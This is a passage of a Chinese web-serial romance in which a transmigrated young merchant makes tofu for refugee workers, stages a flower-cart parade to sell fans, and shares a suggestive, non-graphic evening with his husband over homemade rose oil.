众人不好意思尝,阮锦便进行下一步了,取来两个木箱子,上面盖上纱布,把豆腐花盛进木箱子里。 这两个木箱子就当是模具了,刚好是方方正正的。 盛好后把纱布四角叠好包严实了,再在上面压上一个木板,木板的上面压上一块石头增加压力。 阮锦又道:“压一个时辰,一个时辰后,咱们的豆腐就做好了。能炒,能炸,能煎,还能做汤。能当主食,也能当菜吃。不过最好也不要吃太多,毕竟豆质品,吃多了还是会有点消化不良的。” 众流民们围着那模具转了半天,他们眼中有惊讶,也有对阮锦的佩服。 又一名大哥道:“谁能想到,黄豆竟还能这么吃,难怪东家要买这些泡了雨水的黄豆。咱们还以为,是给咱们吃的呢。” 阮锦笑:“是不是看到我买泡水粮的时候,在心里都要把我骂死了?” 众人又是一阵哄笑,那大哥摆手道:“不是不是,哪儿能呢,泡水的粮咱们现在也吃不上呢。” 阮锦盘腿坐到了椅子上道:“放心,大家既然跟了我,我当然就得为大家的衣食住行负责。这豆腐可是好东西,中午咱们就吃豆腐了!让你们尝尝我亲手做的豆腐!” 众人们都高兴的开始拍手欢呼,唯有门外一个探头探脑的身影,不屑的冷哼一声:“真是什么破破烂烂的都能吃下去,等到齐公子来了,我看你这儿还能留下几个人!” 第76章 来人正是四婶,她身后还有一个人,是和她好得穿一条裤子的三嫂。 三嫂扯了扯她道:“四婶儿,这……闻着还挺香的啊!你看到没有,他们灶上全是肉和菜,还有大米和白面。要不……” 四婶皱眉道:“要不?要不什么?你不会是想来投奔他吧?你别忘了以前咱们是怎么说他,他又是怎么把咱们坑进水里的。这锦哥儿可是个有仇必报的,咱要是来了这儿,还是得被他折腾死了?再说了,你可别忘了老二家和老三家的下场!老三家虽然还好,去投亲了,可老二家现在还在牢里呢!” 三嫂犹豫道:“可……可是,那件事到底是真的还是假的?咱们还要等多久啊?” 四婶一把推开她,气愤道:“你不信就去找阮锦,他对他二叔三叔都这么狠,对你还能好到哪里去?” 说完四婶转身朝流民营走去,没再理会三嫂。 三嫂赶紧快步跟上了她,一边去拉她的手一边道:“四婶儿你别生气,我就是看俺家孩子实在有些受不住了。好在今儿晴了天,不然一直在那儿趴下去,迟早是要生病的。” 四婶没好气道:“光你家有孩子啊?一大半的人都没跟着阮锦走,你当是为了什么?大家都不傻,放着未来的好日子不要,谁要跟着阮锦吃苦受罪?你看他们天天都在干什么?咱们靠男人养惯了,能做得了这些苦活儿吗?” 三嫂没再说什么,只得默默的跟着四婶回了流民营。 阮锦也发现了门口的身影,他没多说什么,还是那句话,人的偏见像一座大山,哪怕他真是为了村子里的人好,以他们对自己的偏见,也不会相信自己的。 他倒也不在意这些,只要做好自己的事,没办要非得赢得所有人的信任。 只要他的小伙伴们信任他,只要阿蛮信任他就可以了。 想到阿蛮,阮锦又觉得有些奇怪,这家伙今天是怎么回事,一天都没露面? 想必是知道自己忙,不想打扰自己,乖乖在家待着了。 其实阿蛮并没有在家乖乖待着,而是在给阮锦准备一个小惊喜,夫郎在忙,他身为夫君也不能什么事都不做。 最近做傀儡做的有些许无聊,便想做些别的,而且阿五也能给他打下手了,这小子是真的有天赋,进步神速。 时值正午,那几名负责膳食的婆子来四儿这里申请食材了,四儿给她们派了米面肉菜油,最后还把他们带进了院子里,问阮锦:“少爷,要做午饭了,咱们的豆腐做好了没呀?” 阮锦回过神来,转身去木箱子那边看了一眼,摸了摸纱布下的豆腐,不软不硬刚刚好! 他当即把石头搬了下来,又掀开纱布,闻了闻带着轻轻豆香的豆腐点了点头:“嗯,好了!我来给你们切豆腐吧!” 他担心婆子们第一次做做不好,豆腐可是要切成一模一样的块状才好吃! 一边往菜板上搬豆腐,阮锦一边问:“今天中午做什么菜呀?” 四儿答:“炖大骨头,炖白菜,蒸米饭。” 阮锦想了想,说道:“好,炖完大骨头留点骨头汤,把白菜和豆腐炖到一起。算了,白菜炖豆腐我亲自来做好了!” 因为有一百多口人吃饭,所以做了五个灶,每个灶都很大,就这有时候还不够,四儿会让婆子们再做面片儿汤给大家吃。 婆子们也没想到,那看着千娇万宠的小少爷,竟然会来帮他们这些流民做饭,看向他的眼神瞬间有了些许敬佩。 阮锦倒是没觉得有什么,他小时候经常和他爸一起去村子里做大锅饭,红白喜事总少不了他爸,他小小年纪也成了打下手的。 利落的切好豆腐和白菜,把菜备好,那边大骨头也炖个差不多了。 阮锦吩咐四儿:“给我盛一盆骨头汤备着!” 四儿应了一声,赶紧去盛骨头汤。 一名婆子在烧火,阮锦迅速的起锅烧油,葱花爆香,倒入白菜利落的翻炒。 火候差不多了倒入骨头汤滑过白菜,最上面倒上一大盆切好的豆腐! 开锅不到两分钟,香味儿便飘满了整个奇货巷。 几个小孩儿在门外探头探脑,都在那里忍不住的流口水吃手手。 阮锦笑笑,十分得意的问烧火的婆子:“怎么样大婶,我做的菜香不香?是不是隔壁的小孩儿都馋哭了?” 正在流口水的婆子没想到阮锦竟会和自己说话,她忍不住吞了吞口水,点头乐呵呵的说道:“是是是,确实香。东家,您一开始往锅里倒的是什么?” 阮锦答:“哦,是菜籽油,用菜籽炸的油,是不是很好闻?” “菜籽?芸苔吗?”婆子疑惑的问。 阮锦点头:“对,就是芸苔!一会儿尝尝,咱们菜籽油做的菜香不香。” 婆子眼中仍是疑惑,心想一到春天,东南郡这边漫山遍野都是芸苔,那东西不是趁着嫩吃叶子吗?这位小东家怎么还炸成油了? 这油……又是怎么炸的? 平常他们都是吃猪油,偶尔吃点羊油,却从未吃过芸苔油。 没等婆子发完呆,阮锦便掀开了锅盖,香味儿瞬间又扑面而来,婆子赶紧帮忙拿铜盆一起往外盛菜。 而旁边的大骨头也炖得更加软烂,米饭也蒸好了,四儿朝巷子里喊了一声:“乡亲们,吃饭啦!” 流民们全都从房间里走了出来,自觉的排好了队,秩序十分井然。 阮锦十分意外的说了一句:“哟,大家还知道排队呢?” 四儿无奈道:“别提了,昨晚第一天来的时候也是没人排队的,今天早晨让尉迟融的侍卫强制排好了队,大家就都知道排队了。” 阮锦哈哈笑了两声,心想也不错,有了尉迟融的侍卫们在,至少不敢有人闹事。 众侍卫们也没闲头,一人拿了个大勺子给流民们打饭,根据个人份量给,如果吃不饱,就只能等着吃片儿汤了。 只是让流民们意外的是,今天的炖白菜里竟然多了白白嫩嫩的块状物。 好多人端着碗不敢吃,纷纷询问:“这白的是什么?” “能不能吃啊?” “闻着一股子黄豆味儿?” “要不你先尝尝?” 唯有刚刚参与做豆腐的几个大汉吃起来毫无压力,还一边吃一边看他们,刚要和他们说这是什么的时候,他们的眼神瞬间就不一样了。 其中一个大汉对旁边的人道:“你不吃吗?你不吃就给我吧!” 说着那大汉夹走了旁边那人的一块豆腐,一口吞了进去。 另外一个大汉也有样学样,嬉皮笑脸的夹走了附近的人碗里的豆腐。 这会儿大家才终于反应过来,知道这豆腐是好东西了,纷纷护着自己的碗吃了起来。 不吃不知道,这一吃,所有人都露出了惊喜的表情:“这这这,又软又嫩,还香喷喷的,真好吃啊!” “是啊,太好吃了,吃着像鱼肉?” “不止像鱼肉,我觉得比鱼肉还好吃!” “我也觉得比肉香,怎么这菜里还飘着一层油花?” “到底是什么啊?这也太好吃了!” 刚刚抢了别人豆腐的大汉终于不再卖关子了,对大有说道:“这叫豆腐!上午东家亲手给咱们做的,这白菜炖豆腐也是东家亲自炒的。怎么样?好吃吧?” “豆腐?豆子做的?” “对啊!豆子做的,神奇吧?” “豆子还能做成肉?这也太神奇了吧!” “这不是肉,都说了叫豆腐了!” …… 听着众人的议论,看着大家吃的如此香甜,阮锦就知道自己的豆腐做成功了。 他和四儿也一人端了一碗白菜炖豆腐,分了一块大骨头,一边啃骨头一边吃豆腐,许久没吃大锅菜的他也吃到了一种不一样的人间烟火气。 四儿尝了一口豆腐,也忍不住赞道:“哇,好吃,好吃,真的好吃!少爷,你好厉害呀!” 阮锦轻笑:“好吃吧?那下午除了做扇子的,记得再分出一组来做豆腐。先做一百斤出来送到蛮锦阁,今天晚上就让三儿推出这道白菜炖豆腐。” 除了白菜炖豆腐,还有很多豆腐类的菜可以做,比如:小葱拌豆腐、香煎豆腐、豆腐丸子、蟹黄豆腐、豆腐鲫鱼汤。 他当即把这几道菜记录下来,认真写好了食谱,并交给了尉迟融的侍卫,让他晚点去交给三儿。 只是这会儿尉迟融又不在,十有八九是又去找三儿了。 这个京城来的小侯爷,什么样的美人儿没见过,竟然偏偏喜欢上了三儿。 不过有一说一,三儿长得确实好看,而且性子温柔,聪明又有灵气,确实惹人喜欢。 阮锦问四儿:“尉迟融呢?去把他找回来,今天下午还有事让他办呢。” 说曹操曹操道,四儿朝巷子口一看,说道:“那不是吗?来了。” 只见尉迟融远远的迈着二五八万的步伐朝这边走了过来,一边往这边走一边享受着众人打招呼的声音,一口一个尉迟公子,让他很是受用。 再看他手上,拿着一把展开的折扇,折扇上明晃晃的写着两个大字:牛B! 阮锦每次看到这两个字就忍不住扑哧笑出声来,只听尉迟融远远的便朝他伸手打着招呼:“师父!我来啦!师父您找我?” 阮锦佯装不悦道:“上哪儿了?都吃完饭了你又来了。” 尉迟融嘿嘿笑了两声,答道:“师父您别生气,我这回真是办正事儿去了。师爹那边让我帮忙搬点儿东西,我这不是得先紧着他老人家吗?” 阮锦有些疑惑的问道:“阿蛮让你搬东西?搬什么呀?” 第77章 尉迟荣猛然闭上了嘴,并装模作样给了自己两巴掌,当即摆手道:“没没没没没什么!什么都没搬!” 阮锦缓缓打出一个问号,心想这俩神神秘秘在搞些什么马车? 但这会儿他忙的不行,哪有时间管他们的小动作。 仙儿已经带着醉仙楼的姐妹们来了,其中一名姑娘尤其出众,身形窈窕,皮肤白嫩,虽然戴着面衣,单是那双眼睛就能看出她的美丽。 阮锦朝她们招手道:“仙儿,这里!” 仙儿带着醉仙楼的众姑娘们来到了阮锦身边,说道:“虽说麻烦了些,但我还是说服了凌姑,把我的小徒弟给带了过来。来来来,敏儿,这就是我跟你说的阮郎君。” 敏儿柔柔的上前朝阮锦行了个礼道:“拜见阮郎君。” 敏儿的身边还跟了个小丫鬟,看着十二三岁的模样,在一旁搀扶着她,这大概是花魁唯一的待遇。 阮锦虚虚扶了扶敏儿,说道:“不必多礼,辛苦姐姐们今天跑一趟了。” 仙儿摆手道:“都是自家姐妹,东家不必客气。快说说,需要我们做些什么?” 阮锦道:“好,你们先跟我进来。我让四儿去找花车了,趁着他还没来,我们先排练一下动作。” 仙儿带着几名姑娘进了院子,阮锦则每人给他们发了一把宫扇,姑娘们看到宫扇都是眼前一亮,漂亮的东西人人都喜欢,更何况是天性爱美的女子。 阮锦特意挑了一把最大气雅致的给了敏儿,说道:“这把适合敏儿姑娘,试试看好不好用。” 敏儿接过扇子,一下子就爱上了,问道:“这个哪里买?我看我师父也有一把,刚还问她把玩了半天呢。” 阮锦答:“不用买,这次活动结束了,就送给姑娘们人手一把。” 姑娘们一听都可高兴了,纷纷询问:“那我们应该怎么做?是需要跳舞吗?” 阮锦摆手,说道:“我来给你们做个示范,待会儿你们在花车上就这样……” 说着他学起了模特儿缓慢的走起了直线,手上的扇子时而竖在胸前,时而左右扇风,时而摆一个漂亮的造型,又道:“来回的,缓慢的走路,展示我们的扇子就可以了。” 敏儿点了点头,学着阮锦的样子在院子里来回走了两圈,回头问道:“是这样吗郎君?” 阮锦朝她竖起了大拇指,点头道:“对对对,敏儿姑娘学的太快了。” 仙儿高兴道:“现在知道她为什么叫敏儿了吧?从小聪敏机灵,学什么都是最快的。” 其余姑娘也在敏儿的指导下学会了如何充分的展示宫扇,还在走猫步的基础上加了几个舞蹈的动作,显得更加灵动俏皮。 这时四儿也把花车找来了,一进门便冲着阮锦喊道:“少爷,你快来看,我准备的这辆花车怎么样?” 阮锦带着姑娘们一出门,便看到一辆上面扎满各种花卉的花车,最上面一层扎的全是玫瑰花,鲜红热烈,十分惹眼。 姑娘们唧唧喳喳的议论着,嘴里都赞着“好漂亮啊”! 阮锦也满意的点了点头,说道:“非常好!四儿好样的!” 准备好了花车,姑娘们便在阮锦的指挥下登上花车,又简单的彩排了几次便由几名流民推着上了官道。 除此之外,阮锦还在流民里挑选了几名长相周正的儿郎,让他们换上尉迟融提供的衣裳,在尉迟融的带领下,一人拿了一把折扇走在了花车的前方开道。 阮锦看着花车又觉得少了些什么,他左思右想,脑中一亮道:“对,乐队!四儿快,再去找个乐队来!最好再找几个小花童,让他们拎着花篮撒花瓣!” 匆忙间要准备那么多东西,四儿手忙脚乱的跑了半天,好在终于在一个时辰内准备好了这些东西。 此时下午过半,花车终于在花童们的花瓣和乐师们的乐声里徐徐出发了。 乐声和鲜艳的花车当即吸引了许多官道上的行商驻足欣赏,一时间街道两侧围满了男女老少。 小贩和商户们也放下了手上的活儿,跑去街边欣赏这别开生面的花车游行。 群众人议论的声音也不断的传来:“真漂亮啊!这是醉仙楼的姑娘们吧?” “哦哦,这是义卖呢?那得往车上扔些银子才行啊!” “不是义卖,好像说是……花车游街,主要是展示她们手上的扇子。” “哇,那扇子确实好看,拿手上看着就不一样了。” “扇子哪里买啊?” “不知道啊!” 这时,花车上传来了尉迟融的声音:“明日奇货巷正式开张,欢迎桃花县的各大商户和百姓们前去选购心怡的商品。到时候咱们的商品优惠大酬宾,还会有别开生面的砸金蛋活动。金蛋里真的有黄金!除此之外,还有各种优惠券,凭借优惠券购买商品可找七到九折不等……” 花车经过的地方,两侧的行人都忍不住的捂耳朵:“这声音怎么这么大?” “那位公子嘴巴上是什么?那个好像能把声音放大啊?” “哦哦,真厉害,没见过这阵仗啊!” “听说是蛮锦食记的阮老板,新开了一家奇货巷,不知道有什么不一样的东西啊!” “阮老板啊?那就不奇怪了,他经常弄一些没见过的东西和吃的。哎你们别说,还真的好吃!” “是啊是啊!有一段时间我夫人天天去那儿吃,家里都不想开伙了。” 而此时的尉迟融的一只手上拿着一张字条,一只手上拿着个喇叭桶,大声的按照字条上所写的内容念着:“明日厅货巷正式开张,欢迎桃花县……” 坐在奇货巷屋顶上看着的阮锦满意的点了点头,指着那街上的人群对四儿道:“看到没有,这就叫宣发!” 四儿拍着手一脸不可思议道:“少爷您真是太厉害了!原来这就叫宣发啊!意思是宣传和……和……” “发布!”阮锦替他道:“就是咱们的产品发布会。酒香也怕巷子深呐,如果不好好宣传,谁知道你这里有好东西?是不是?” 四儿重重的点头,应道:“对对对,少爷说的对呀!” 阮锦乐呵呵的摇着折扇,抬头就看到一群人朝他这边跑了过来。 阮锦坐直身子,皱眉问道:“四儿,你看那都是些什么人?该不会有人来闹事吧?” 四儿在眼前搭了个凉棚,疑惑道:“不像啊!倒是像一个个的行商。” 眼看着那群人都冲进了奇货巷,阮锦赶紧拉着四儿下去道:“走走走,赶紧下去看看!” 两人爬梯子下了屋顶,便看到一行人已经冲进了院子,阮锦上前劝解道:“诸位有话好好说,慢慢说,不要动怒不要动怒啊!” 其中一名中年男性不解道:“动怒?我们为何要动怒?我们是想找阮老板买扇子的啊!” 阮锦一听,心想原来不是来闹事的啊? 真是尴尬了。 他问道:“呃……那个,不是天儿热吗?哈哈,大家先进屋,屋里有冰有酥山,咱们一边凉快着一边说。” 说着他热情的把那些行商带进了房间,由于没有那么多凳子,大家只好都站在那里。 四儿拿着大石臼开始捣冰块做酥山,阮锦则擦了擦额头上的汗,问道:“大家都是来订扇子的吗?” 为首的行商开口道:“正是,不知道阮老板这里有多少把?我们全要了。” 阮锦问道:“明天才是咱们奇货巷开张的日子,大家怎么今天就过来了?” 另一名行商笑道:“商机不等人啊!早一天订就能早一天拿到货,咱们都是渊都各大商行的掌柜,谁不想抢到第一手货源呢?” 阮锦一听,竟是渊都来的掌柜,那可是大客户啊! 阮锦点了点头表示认同,问道:“大家都要订多少把扇子?” 行商们七嘴八舌的报出了自己的数量:“我要五百把!” “我要七百把!” “我要九百把!” 为首的行商伸出了一根手指:“宫扇和折扇各一千把!” 阮锦也是没想到,这短短不到半个时辰,竟然就引来了那么多订单,看来宣发这种活动不论是在现代还是古代都是很有必要的啊! 阮锦很高兴,知道扇子会赚钱,没那么能赚那么多钱! 他一边应着一边拿了纸笔道:“好好好,大家一个一个说,我来记录一下。记好了去四儿那里排队领合同,签了答同交订金,到时候咱们按照登记的顺序来给大家出货。放心,咱们这里有上百名工人,肯定能在十天内把大家的货出完。” 行商们一听这么快,都争先恐后的去找阮锦登记。 只是订价的事阮锦还需要思考一下,虽然成本并不值钱,但这些东西属于文创,自有其溢价之处。 左思右想,阮锦最后定了宫扇二十文,折扇三十文。 毕竟折扇的工艺要复杂些,而且还需要人题字题画,自然卖得要贵一些。 一天下来,阮锦接了足足五千余把扇子的订单,四儿当即吩咐下去,让篾匠和五十名流民开始赶工。 剩下的则在做豆腐和磨小麦的糊子,阮锦又找来平底鏊子,把小麦糊子摊成薄如蝉翼的小麦煎饼。 干了的煎饼可以保存几个月之久,但一定要注意不要受潮。 阮锦又带着行商们参观了自己的煎饼和豆腐的制作过程,还请他们品尝了豆腐和煎饼,行商们当即又订了几百斤的煎饼。 由于豆腐不宜长途运输,所以没能售出订单。 但阮锦一点都不担心,明天奇货巷一开,豆腐一定会卖爆的。 只是忙了一天下来,阮锦已经累到不行了,回到家什么都不想做,只想趴在阿蛮的怀里求抱抱。 第78章 趴在阿蛮怀里的阮锦鼻端却嗅到了一阵香气,他仿佛小狗狗一般在阿蛮的身上嗅闻着,一边闻一边道:“好香啊……你身上什么味道?” 阿蛮被他可爱的模样给逗笑了,学着他道:“你身上什么味道?” 阮锦佯装生气道:“你怎么还学起我来了?我记得你身上不是这个味儿啊!” 阿蛮疑惑道:“嗯?那我身上应该是什么味儿?” 阮锦想了想,说道:“好像是……是什么香来着?啊……我又忘了。我对香料没什么研究,就是以前闻过一种这个味道的香水。反正挺好闻的。” 阿蛮松了口气:“不是臭味儿就好。” 阮锦心中嘿嘿一笑,想逗逗他,说道:“臭阿蛮。” 吓的阿蛮赶紧在自己的衣服上闻来闻去:“真的臭吗?我……每天都有好好洗澡的。” 阮锦也被他给逗笑了,学着他的语气道:“我……每天都有好好洗澡的。” 阿蛮反应过来阮帛是在逗他了,无奈道:“淘气,今天怎么累成这样?” 阮锦又趴回了阿蛮的怀里,说道:“今天做了个宣发,谁知道来了一大波的行商订了足足三千多两银子的货。我和四儿安排了半天,才把这几条生产线安排好了。” 五十人做扇子,五十人做小麦煎饼,剩下的人做豆腐。 第一批豆腐足我一百斤,都送到了蛮锦阁,三儿也收到了阮锦给她写的食谱,当天晚上便推出了新品豆腐宴。 蛮锦阁一出新品,就会在前面的牌楼上点上两盏红色的灯笼,平常都是黄色的。 食客们一看到红色灯笼,就会跑去尝个新鲜,不出所料,今晚豆腐宴便会在桃花县的食客们口中被津津乐道。 阿蛮随口夸赞道:“阿锦好厉害!随随便便就是……几千两银子的进账,我反而什么都做不了,只能给你做做傀儡了。” 阮锦转身捧住阿蛮的脸颊道:“谁说你什么都做不了了?你的傀儡可是帮了我的大忙,到现在它们还是咱们蛮锦阁的中流砥柱呢。还有,阿蛮你可是我最重要的后盾,如果没有你,我哪能安心在外面打拼啊!” 这种夫君主内,夫郎主外的模式,也是让阮锦挺享受的。 阿蛮听了阮锦的话,唇角忍不住上勾,可以说是被他给爽到了,于是恰到好处的开口道:“我就知道,阿锦一定最喜欢我了。所以,我这几天也没闲着,给我们阿锦准备了礼物。” 阮锦声线上扬着嗯了一声,坐起身来问道:“礼物?哦,我想起来了。尉迟融说今天帮你搬东西了,搬了什么东西呀?” 阿蛮一脸的无语:“这个家伙,我和他说了让他不要告诉你,这个大嘴巴还是说出去了?” 阮锦笑道:“知道他是大嘴巴了吧?以后还是别找他帮忙了。快点让我看看,你给我准备了什么惊喜?” 阿蛮没再卖关子,转身去抱了一个小木箱子过来,放到了阮锦的腿边,说道:“你自己打开看看。” 那小木箱子非常精美,上面的雕花一看就是出自阿蛮之手,栩栩如生的桃花,盛放的十分热烈。 阮锦打开小木箱,里面又出现了一排排的漂亮小瓶子,有红的,有紫的,还有黄的。 阮锦意外的看着那些小瓶子,拿起一个来问道:“这……里面装了什么?” 阿蛮示意他:“打开来看看。” 阮锦试探着拔开了瓶塞,一阵浓郁的玫瑰花香味儿便扑鼻而来。 闻到这个香味儿,阮锦瞬间便意识到这是什么了,他十分惊喜的说道:“哇!这是玫瑰精油?” 说着他倒了一点在手背上,滑滑的精油摊开在手背上,不光可以滋润皮肤,香味儿更是让人心旷神怡。 他也瞬间反应过来了:“哦哦,原来你让尉迟融搬的是蒸炉?天哪,阿蛮,你也太厉害了!我之前也只是随口说了说,想不到你就真的做出了玫瑰精油!你好厉害呀!” 阿蛮被夸的有些不好意思,说道:“你天天在外面忙,我知道你肯定没有时间做这些。反正我天天在家待着,索性就帮你弄出来了。除了玫瑰的,还有牡丹花露和桂花精油。但是……效果不如玫瑰的好,但我还是做了一些出来。” 阮锦又打开了黄色瓶子和紫色瓶子,里面的确是牡丹花露和桂花精油,尤其是桂花精油的味道,简直太浓郁了。 阮锦爱不释手,把几种精油都抹在了自己的手背上,一边搓一边道:“真好闻,阿蛮真厉害!谢谢阿蛮,我很喜欢。” 阿蛮笑了笑:“你喜欢便好,对了,这些精油……都能做什么?” 阮锦神秘一笑,说道:“做什么呀?嗯……推背呀!要不阿蛮给我推个背吧?我累了一天了,想放松一下。” 阿蛮当即嗯嗯两声,说道:“那你告诉我,我该怎么做。” 此时天色已经暗了下来,阮锦趴到了软塌上,屋子里烛火摇曳,暖融融的光映在阮锦微红的脸上,看上去显得他的容色更加姣好。 他大概的把推油的过程和阿蛮说了一下,便褪去了衣衫,露出白皙的后背,懒洋洋地侧头看向阿蛮,眼中带着几分期待:“阿蛮,怎么还不动手呀?” 阿蛮坐在榻边,倒了几滴在掌心,轻轻揉搓两下,馥郁的玫瑰香气便在空气中弥散开来,一股甜而不腻的芬芳萦绕在两人之间。 许是因为这阵玫瑰的芬芳,让两人之间的氛围也变得浓郁起来。 阿蛮俯下身,双手轻轻覆上阮锦的肩颈,温热的手掌贴上肌肤的刹那,阮锦舒服地呻吟了一声,像只慵懒的小猫咪,彻底放松下来。 阿蛮的指腹缓缓揉按着他的肩膀,掌心的精油一点点化开,滑腻地顺着阮锦的脊背往下游走。 玫瑰的香气仿佛渗进了肌肤里,阮锦深深吸了一口气,忍不住笑道:“阿蛮,你手艺真好……比县城里那些推拿师傅还厉害。” 阿蛮声线上扬的嗯了一声,问道:“按摩师傅?阿锦你……去过吗?” 阮锦闷笑出声,侧脸埋在枕间,声音有些含糊的说道:“怎么了?吃醋啦?” 阿蛮没回答,只是手掌顺着他的脊柱往下推,指节微微用力,揉开他紧绷的肌肉。 阮锦今天确实累得不轻,肩胛处硬邦邦的,还有些微酸胀,被阿蛮揉开时,他疼得嘶了一声,却又很快被随之而来的舒爽感淹没。 他半眯着眼,声音软了几分:“再……再用力一点……” 可随着阮锦说出这句话,阿蛮的动作却微微怔了怔,他没有说什么,指尖加重力道,沿着阮锦的腰线往下推去。 阮锦的皮肤很是软嫩光滑,随着阿蛮的按摩,留下一条条的红色印子。 那印子,让两人之间的氛围更加旖旎了。 随着他的动作,精油的香气愈发浓郁,混着两人之间逐渐升高的体温,竟莫名让人呼吸微乱。 阮锦的后背渐渐放松下来,随着阿蛮的动作轻轻闷吭一声,却激得阿蛮仿佛被烫到一般,动作渐渐慢了下来。 阮锦察觉到了他的停顿,懒洋洋地转过头:“怎么停了?” 一回头,却见阿蛮的耳尖泛着红,眼神落在他的后背上,正一眨不眨的看着他。 阮锦一怔,随即低笑出声:“阿蛮,你这是……怎么了?” 阿蛮的喉结微微滚动了下,声音有些低哑的说道:“……没有。” 阮锦翻了个身,仰面躺着,伸手拉住他的手腕,眼尾微挑中又透了那么几分诱引:“那继续呀。我腿上今天也酸疼的厉害,还有脚上。阿蛮会不会足底按摩?要不我来教你,你也来给我捏一捏吧?” 说着他用力一拉他的手,由于阿蛮掌心还残留着精油的滑腻,被他这么一拉,差点没稳住身形,双手猛然撑到了阮锦的身体两侧。 两人的距离骤然拉近,玫瑰的香气萦绕在鼻尖,粘稠得让人心跳加速。 阮锦仰着脸看他,唇角带着狡黠的笑:“阿蛮怎么了?怎么不继续了?” 阿蛮的眸色暗了暗,低头凑近,几乎贴着他的唇低声道:“阿锦,你……是不是故意的?” 阮锦得意的笑了起来,心想阿蛮可真好钓,一钓就上钩。 只是他不知道的是,此时的他要多诱人有多诱人,别说是阿蛮这种天生患有瘾症的人,哪怕是万年阳痿到了他这里也得犁上八亩地。 此时阮锦眨了眨眼,一脸无辜:“什么故意的?我只是想让你帮我按摩呀!” 阿蛮盯着他看了两秒,忽然俯身,吻住了他的唇。 玫瑰的香气在唇齿间漫开,阮锦先是怔了下,随即弯起眼,伸手环住他的脖颈,重重加深了这个吻。 阿蛮的掌心还带着精油的温热,抚上他的腰侧时,滑腻的触感让两人都轻轻一颤。 这时两人的呼吸都乱了,阮锦微微分开唇,低喘着笑道:“阿蛮,精油可不是这么用的……你没有认真听讲,不是个好学生哦!” 阿蛮却不管不顾,指尖沿着他的腰线摩挲,声音低哑道:“……那该怎么用?阿锦……教教我。” 阮锦被他撩得耳根发烫,刚想说话,又被阿蛮吻住,舌头探了进来,攫取着阮锦呼吸间的玫瑰芬芳。 随着两人的动作,推背早已变成了另一种更亲密的纠缠。 阮锦的手指穿进阿蛮的发间,气息不稳地轻声笑道:“……阿蛮,你学坏了。” 我天真的阿蛮去哪里了? 阿蛮却抵着他的额头,低低的嗯了一声:“跟你学的。” 第79章 阿蛮的唇离开时,两人之间拉出一道银丝。 阮锦笑的一脸无奈,指尖还缠在阿蛮的发间,忽然起了捉弄的心思。 他屈起膝盖,用脚趾轻轻蹭过阿蛮的小腿:“是吗?我们阿蛮老师学得真快……那现在是不是该实践一下了?” 玫瑰精油顺着阮锦抬腿的动作,从肩头滑落到榻上深色的锦缎,洇开一片暗色花纹。 阿蛮的呼吸明显重了几分,忽然握住他作乱的脚踝,掌心沾着残留的精油,顺着足弓缓缓摩挲。 这显然让阮锦有些措手不及了,他没想到阿蛮真的会从足底的按摩开始,脚趾立刻忍不住蜷缩起来。 “等……等等……”阮锦想缩回脚,却被握得更紧。 阿蛮垂着眼睛,拇指按在足心穴位时,阮锦整个人抖了一下:“嘶……轻……轻点儿!”声音里带着自己都没察觉的撒娇意味。 阿蛮倏的抬起头,眼底敛着不明的神色:“不是阿锦说……让我实践一下的吗?” 沾着精油的指尖从脚踝内侧一路上滑,经过膝窝时故意画了个圈,看着阿蛮俯身时散落的发丝扫过自己大腿,忽然觉得这玩笑开大了。 想并拢双腿,却被阿蛮用肩膀抵住:“是不是这里也酸疼?让我也来给你放松一下吧!” “阿蛮你……啊!”变调的声音在房间里传来,阿蛮的手仔细的在他腿上的穴位仔细的按揉着,留下浅浅的印子,接着便是衣料覆盖下的手指,被涂满精油的掌心覆盖。 阮锦终于慌乱地撑起上半身:“等等!我还没教到这……” 话音未落就被翻身压住,阿蛮鼻尖沾着一点玫瑰精油,在烛光下亮晶晶的,眼神却危险得像盯住猎物的狼:“阿锦……可是我想学全套。” 散开的衣襟里滑出个小瓷瓶,骨碌碌滚到榻边,阮锦瞥见瓶身上阿蛮亲手刻的桃花标记。 玫瑰精油洒了一地,阿蛮随手取了一点,涂在手上,便将锦被一撑,彻底覆住了两人。 窗外月色正浓,阮锦突然想到一件事:“尉迟融……不会突然来送夜宵吧?” 阿蛮随手一挥,噗的一声将蜡烛熄灭,房间陷入黑暗中,只乎锦被下悉悉簌簌的声响,以及阮锦偶尔因为阿蛮的按摩力道而抗议的轻吭。 打翻的玫瑰精油在榻上流淌,浸透了阮锦散开的长发,直到后半夜还幽幽散发着甜香。 第二天一早,阮锦光清理这些精油就清理了半天,但头发上的他却没有浪费,直接仔仔细细的用梳子梳理均匀,使得他本就黑亮的头发更加顺滑起来。 阿蛮侧躺在床上,胸腹肌半露,正勾着唇一脸坏笑的看着他。 阮锦满是无语,上前捏了捏他的脸颊道:“你这是什么眼神?臭阿蛮。” 阿蛮低低的笑了笑,问道:“阿锦对蛮师傅昨晚的服务还算满意吗?” 阮锦想到昨夜的事,再嗅着这满屋未散的香甜,画面一帧一帧的闪过,让阮锦的脸颊一下子便红了起来。 他看了看阿蛮的中衣,盖住他胸腹肌上自己留下的红印子,有些无奈道:“阿蛮啊,你在这样下去,我怕咱俩都出不了这个房间。” 谁不喜欢美人在怀,阮锦觉得,如果他是个帝王,估计也会把阿蛮圈禁在后宫,让他天天陪着自己。 阿蛮仿佛故意的一般,起身站到了阮锦的面前,额头抵上他的额头,问道:“大王今日可否不出去了?” 阮锦无语的在阿蛮的脸上蹭了蹭,说道:“那要看蛮妃的表现了……” 阮锦的话音刚落,阿蛮便搂住了他的窄腰,吻住了他的唇,带来一阵汹涌的玫瑰花香味儿。 就在两人吻的难舍难分的时候,四儿的声音从门外传来:“少爷,又来了一批行商,他们说要订菜籽油!这次订的量比较大,您还是亲自去看一眼吧!” 两人喘息着分开唇舌,阮锦眼神迷离的望着阿蛮道:“晚上等我回来,我先出去一趟。” 阿蛮也只是和阮锦开个玩笑,没有真要把他留下来的意思,他低低的嗯嗯了两声,应道:“好,阿蛮等你。” 阮锦忽然又像想到什么似的问道:“阿蛮,你觉得现在的生活……无聊吗?” “无聊?”阿蛮不解的问道。 阮锦轻笑:“就是……每天只能待在家里,无所事事,不知道人生的意义是什么。” 阿蛮却是一脸的认真,对阮锦说道:“我人生的意义……就是阿锦啊!” 看着阿蛮那双认真的眼睛,阮锦的心一下子就被击中了,他的唇角高高的扬起,重重的点头道:“嗯!我明白了!好阿蛮,我去赚钱,你等我回来!以后等我生了宝宝,你在家带宝宝,我来养你们!不过我也不会让你辛苦的,到时候我们多请你个佣人和乳母。好不好?” 阿蛮的眼睛亮了亮,问道:“宝宝?” 